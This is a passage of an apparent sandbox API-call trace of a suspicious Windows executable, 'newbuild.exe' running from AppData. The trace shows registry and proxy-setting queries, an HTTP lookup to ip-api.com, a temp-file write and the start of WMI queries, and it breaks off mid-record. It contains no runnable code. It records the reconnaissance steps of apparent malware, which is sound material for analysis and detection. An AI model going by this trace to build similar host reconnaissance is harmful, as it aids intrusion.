lpFileInformation=0x12fec3c | out: lpFileInformation=0x12fec3c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0204.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", nBufferLength=0x105, lpBuffer=0x12fe69c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", lpFilePart=0x0) returned 0x33 [0204.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x12fec44 | out: lpFileInformation=0x12fec44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0204.834] GetCurrentProcess () returned 0xffffffff [0204.834] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fed8c | out: TokenHandle=0x12fed8c*=0x5a4) returned 1 [0204.834] GetCurrentProcess () returned 0xffffffff [0204.834] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fed8c | out: TokenHandle=0x12fed8c*=0x5a8) returned 1 [0204.846] GetCurrentProcess () returned 0xffffffff [0204.846] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12febec | out: TokenHandle=0x12febec*=0x5ac) returned 1 [0204.860] GetCurrentProcess () returned 0xffffffff [0204.861] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12febfc | out: TokenHandle=0x12febfc*=0x5b0) returned 1 [0204.868] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5b4 [0204.868] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b8 [0204.872] GetCurrentProcess () returned 0xffffffff [0204.872] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec4c | out: TokenHandle=0x12fec4c*=0x5bc) returned 1 [0204.874] GetCurrentProcess () returned 0xffffffff [0204.874] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec5c | out: TokenHandle=0x12fec5c*=0x5c0) returned 1 [0204.878] QueryPerformanceFrequency (in: lpFrequency=0xff6a28 | out: lpFrequency=0xff6a28*=100000000) returned 1 [0204.878] QueryPerformanceCounter (in: lpPerformanceCount=0x12fefd0 | out: lpPerformanceCount=0x12fefd0*=30198828425) returned 1 [0204.881] GetCurrentProcess () returned 0xffffffff [0204.881] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec18 | out: TokenHandle=0x12fec18*=0x5c4) returned 1 [0204.882] GetCurrentProcess () returned 0xffffffff [0204.882] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec28 | out: TokenHandle=0x12fec28*=0x5c8) returned 1 [0204.896] GetCurrentProcess () returned 0xffffffff [0204.896] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec2c | out: TokenHandle=0x12fec2c*=0x5cc) returned 1 [0204.897] GetCurrentProcess () returned 0xffffffff [0204.897] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec3c | out: TokenHandle=0x12fec3c*=0x5d0) returned 1 [0204.899] GetCurrentProcess () returned 0xffffffff [0204.899] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12feeb4 | out: TokenHandle=0x12feeb4*=0x5d4) returned 1 [0204.902] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fdfec | out: phkResult=0x12fdfec*=0x5d8) returned 0x0 [0204.902] RegQueryValueExW (in: hKey=0x5d8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x12fe00c, lpData=0x0, lpcbData=0x12fe008*=0x0 | out: lpType=0x12fe00c*=0x1, lpData=0x0, lpcbData=0x12fe008*=0xe) returned 0x0 [0204.902] RegQueryValueExW (in: hKey=0x5d8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x12fe00c, lpData=0x3258a2c, lpcbData=0x12fe008*=0xe | out: lpType=0x12fe00c*=0x1, lpData="Client", lpcbData=0x12fe008*=0xe) returned 0x0 [0204.903] RegCloseKey (hKey=0x5d8) returned 0x0 [0204.970] CoTaskMemAlloc (cb=0xcc0) returned 0x13e6748 [0204.971] RasEnumConnectionsW (in: param_1=0x13e6748, param_2=0x12feec4, param_3=0x12feec8 | out: param_1=0x13e6748, param_2=0x12feec4, param_3=0x12feec8) returned 0x0 [0205.126] CoTaskMemFree (pv=0x13e6748) [0205.131] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12fecb0 | out: lpWSAData=0x12fecb0) returned 0 [0205.136] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x62c [0205.357] setsockopt (s=0x62c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0205.357] closesocket (s=0x62c) returned 0 [0205.358] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x62c [0205.359] setsockopt (s=0x62c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0205.359] closesocket (s=0x62c) returned 0 [0205.359] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x62c [0205.360] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x630 [0205.360] ioctlsocket (in: s=0x62c, cmd=-2147195266, argp=0x12feecc | out: argp=0x12feecc) returned 0 [0205.360] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x634 [0205.360] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x638 [0205.361] ioctlsocket (in: s=0x634, cmd=-2147195266, argp=0x12feecc | out: argp=0x12feecc) returned 0 [0205.361] WSAIoctl (in: s=0x62c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x12feeb4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x12feeb4, lpOverlapped=0x0) returned -1 [0205.367] WSAEventSelect (s=0x62c, hEventObject=0x630, lNetworkEvents=512) returned 0 [0205.368] WSAIoctl (in: s=0x634, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x12feeb4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x12feeb4, lpOverlapped=0x0) returned -1 [0205.368] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x12febe4, nSize=0x101, Arguments=0x0 | out: lpBuffer="ブロック不可のソケット操作をすぐに完了できませんでした。\r\n") returned 0x1e [0205.368] WSAEventSelect (s=0x634, hEventObject=0x638, lNetworkEvents=512) returned 0 [0205.368] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x640 [0205.368] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x640, param_3=0x3) returned 0x0 [0205.377] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x12feee0 | out: phkResult=0x12feee0*=0x658) returned 0x0 [0205.377] RegOpenKeyExW (in: hKey=0x658, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fee94 | out: phkResult=0x12fee94*=0x65c) returned 0x0 [0205.377] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x660 [0205.377] RegNotifyChangeKeyValue (hKey=0x65c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x660, fAsynchronous=1) returned 0x0 [0205.378] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fee98 | out: phkResult=0x12fee98*=0x664) returned 0x0 [0205.378] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x668 [0205.378] RegNotifyChangeKeyValue (hKey=0x664, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x668, fAsynchronous=1) returned 0x0 [0205.378] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fee98 | out: phkResult=0x12fee98*=0x66c) returned 0x0 [0205.379] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x670 [0205.379] RegNotifyChangeKeyValue (hKey=0x66c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x670, fAsynchronous=1) returned 0x0 [0205.379] GetCurrentProcess () returned 0xffffffff [0205.379] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fee84 | out: TokenHandle=0x12fee84*=0x674) returned 1 [0205.382] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe790 | out: phkResult=0x12fe790*=0x678) returned 0x0 [0205.382] RegQueryValueExW (in: hKey=0x678, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x12fe7ac, lpData=0x0, lpcbData=0x12fe7a8*=0x0 | out: lpType=0x12fe7ac*=0x0, lpData=0x0, lpcbData=0x12fe7a8*=0x0) returned 0x2 [0205.383] RegCloseKey (hKey=0x678) returned 0x0 [0205.409] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x13eb448 [0205.660] WinHttpSetTimeouts (hInternet=0x13eb448, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0205.746] CoTaskMemAlloc (cb=0x20c) returned 0x13cfdf0 [0205.746] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x13cfdf0, nSize=0x104 | out: lpBuffer="Ⴔ瑂궙駞က") returned 0x0 [0205.746] CoTaskMemFree (pv=0x13cfdf0) [0205.746] CoTaskMemAlloc (cb=0x20c) returned 0x13cfbc8 [0205.746] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x13cfbc8, nSize=0x104 | out: lpBuffer="Ⴔ瑂궙駞က") returned 0x0 [0205.746] CoTaskMemFree (pv=0x13cfbc8) [0205.753] GetCurrentProcess () returned 0xffffffff [0205.753] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12febf4 | out: TokenHandle=0x12febf4*=0x4e4) returned 1 [0205.754] GetCurrentProcess () returned 0xffffffff [0205.754] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec04 | out: TokenHandle=0x12fec04*=0x6c0) returned 1 [0205.765] GetCurrentProcess () returned 0xffffffff [0205.765] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12feb6c | out: TokenHandle=0x12feb6c*=0x6d8) returned 1 [0205.765] GetCurrentProcess () returned 0xffffffff [0205.765] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12feb7c | out: TokenHandle=0x12feb7c*=0x6dc) returned 1 [0205.770] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x12fee48 | out: pFixedInfo=0x0, pOutBufLen=0x12fee48) returned 0x6f [0206.143] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x13fbc28 [0206.143] GetNetworkParams (in: pFixedInfo=0x13fbc28, pOutBufLen=0x12fee48 | out: pFixedInfo=0x13fbc28, pOutBufLen=0x12fee48) returned 0x0 [0206.156] LocalFree (hMem=0x13fbc28) returned 0x0 [0206.157] CoTaskMemAlloc (cb=0x20c) returned 0x13cfdf0 [0206.157] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x13cfdf0, nSize=0x104 | out: lpBuffer="Ⴔ瑂궙駞က") returned 0x0 [0206.157] CoTaskMemFree (pv=0x13cfdf0) [0206.157] CoTaskMemAlloc (cb=0x20c) returned 0x13cfdf0 [0206.158] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x13cfdf0, nSize=0x104 | out: lpBuffer="Ⴔ瑂궙駞က") returned 0x0 [0206.158] CoTaskMemFree (pv=0x13cfdf0) [0206.160] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x71c [0206.161] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6f4 [0206.162] GetAddrInfoW (in: pNodeName="ip-api.com", pServiceName=0x0, pHints=0x12fed30*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x12fecd8 | out: ppResult=0x12fecd8*=0x136ed48*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0x13ec608*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) returned 0 [0206.407] FreeAddrInfoW (pAddrInfo=0x136ed48*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0x13ec608*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) [0206.410] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x724 [0206.410] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x72c [0206.410] ioctlsocket (in: s=0x724, cmd=-2147195266, argp=0x12fed04 | out: argp=0x12fed04) returned 0 [0206.410] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x730 [0206.410] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x734 [0206.410] ioctlsocket (in: s=0x730, cmd=-2147195266, argp=0x12fed04 | out: argp=0x12fed04) returned 0 [0206.410] WSAIoctl (in: s=0x724, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x12fecec, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x12fecec, lpOverlapped=0x0) returned -1 [0206.410] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x12fea1c, nSize=0x101, Arguments=0x0 | out: lpBuffer="ブロック不可のソケット操作をすぐに完了できませんでした。\r\n") returned 0x1e [0206.410] WSAEventSelect (s=0x724, hEventObject=0x72c, lNetworkEvents=512) returned 0 [0206.410] WSAIoctl (in: s=0x730, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x12fecec, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x12fecec, lpOverlapped=0x0) returned -1 [0206.411] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x12fea1c, nSize=0x101, Arguments=0x0 | out: lpBuffer="ブロック不可のソケット操作をすぐに完了できませんでした。\r\n") returned 0x1e [0206.411] WSAEventSelect (s=0x730, hEventObject=0x734, lNetworkEvents=512) returned 0 [0206.411] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x12fece8*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x12fece8*=0x818) returned 0x6f [0206.415] LocalAlloc (uFlags=0x0, uBytes=0x818) returned 0x13ee170 [0206.415] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x13ee170, SizePointer=0x12fece8*=0x818 | out: AdapterAddresses=0x13ee170*(Alignment=0x200000178, Length=0x178, IfIndex=0x2, Next=0x13ee420, AdapterName="{2652C480-CA61-47C1-B39D-5A150292CCF3}", FirstUnicastAddress=0x13ee394, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0xb4, [1]=0xdd, [2]=0x15, [3]=0xb0, [4]=0x70, [5]=0x32, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x2, ZoneIndices=([0]=0x2, [1]=0x2, [2]=0x2, [3]=0x2, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0x19, Ipv6Metric=0x19, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x13ee2e8*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11e7933cfae992b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x23, [5]=0x7d, [6]=0xeb, [7]=0x9, [8]=0x7c, [9]=0x4a, [10]=0x82, [11]=0x56, [12]=0xb9, [13]=0x2b, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x57c4a82, FirstDnsSuffix=0x0), SizePointer=0x12fece8*=0x818) returned 0x0 [0206.421] LocalFree (hMem=0x13ee170) returned 0x0 [0206.425] WSAConnect (in: s=0x71c, name=0x3265824*(sa_family=2, sin_port=0x50, sin_addr="208.95.112.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0206.453] closesocket (s=0x6f4) returned 0 [0206.456] send (s=0x71c, buf=0x32663a4*, len=72, flags=0) returned 72 [0206.457] setsockopt (s=0x71c, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0206.457] recv (in: s=0x71c, buf=0x3262000, len=4096, flags=0 | out: buf=0x3262000*) returned 327 [0206.485] setsockopt (s=0x71c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0206.485] SetEvent (hEvent=0x5b4) returned 1 [0206.486] CoTaskMemAlloc (cb=0x20c) returned 0x13d0018 [0206.486] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13d0018 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0206.486] CoTaskMemFree (pv=0x13d0018) [0206.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0206.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp", nBufferLength=0x105, lpBuffer=0x12fe994, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp", lpFilePart=0x0) returned 0x2e [0206.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feed8) returned 1 [0206.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\r725k54.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6f4 [0206.487] GetFileType (hFile=0x6f4) returned 0x1 [0206.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feed4) returned 1 [0206.487] GetFileType (hFile=0x6f4) returned 0x1 [0206.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x326b350*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x12fef64, lpOverlapped=0x0 | out: lpBuffer=0x326b350*, lpNumberOfBytesWritten=0x12fef64*=0x9e, lpOverlapped=0x0) returned 1 [0206.488] CloseHandle (hObject=0x6f4) returned 1 [0206.488] CoTaskMemAlloc (cb=0x20c) returned 0x13d0240 [0206.488] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13d0240 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0206.488] CoTaskMemFree (pv=0x13d0240) [0206.489] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0206.489] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp", nBufferLength=0x105, lpBuffer=0x12fe968, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp", lpFilePart=0x0) returned 0x2e [0206.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeac) returned 1 [0206.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\R725K54.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\r725k54.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6f4 [0206.489] GetFileType (hFile=0x6f4) returned 0x1 [0206.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feea8) returned 1 [0206.489] GetFileType (hFile=0x6f4) returned 0x1 [0206.489] ReadFile (in: hFile=0x6f4, lpBuffer=0x326d640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fef58, lpOverlapped=0x0 | out: lpBuffer=0x326d640*, lpNumberOfBytesRead=0x12fef58*=0x9e, lpOverlapped=0x0) returned 1 [0206.489] ReadFile (in: hFile=0x6f4, lpBuffer=0x326d640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fef58, lpOverlapped=0x0 | out: lpBuffer=0x326d640*, lpNumberOfBytesRead=0x12fef58*=0x0, lpOverlapped=0x0) returned 1 [0206.489] CloseHandle (hObject=0x6f4) returned 1 [0206.489] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fefb0 | out: ppv=0x12fefb0*=0x135504c) returned 0x0 [0206.489] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fefa8 | out: pAptType=0x12fefa8*=1) returned 0x0 [0206.490] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fefac | out: ppvObject=0x12fefac*=0x0) returned 0x80004002 [0206.490] IUnknown:Release (This=0x135504c) returned 0x1 [0206.490] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe908 | out: ppv=0x12fe908*=0x1382478) returned 0x0 [0206.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382478, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb24 | out: ppvObject=0x12feb24*=0x0) returned 0x80004002 [0206.490] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382478, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb30 | out: ppvObject=0x12feb30*=0x13a4090) returned 0x0 [0206.491] WbemDefPath:IUnknown:Release (This=0x1382478) returned 0x0 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 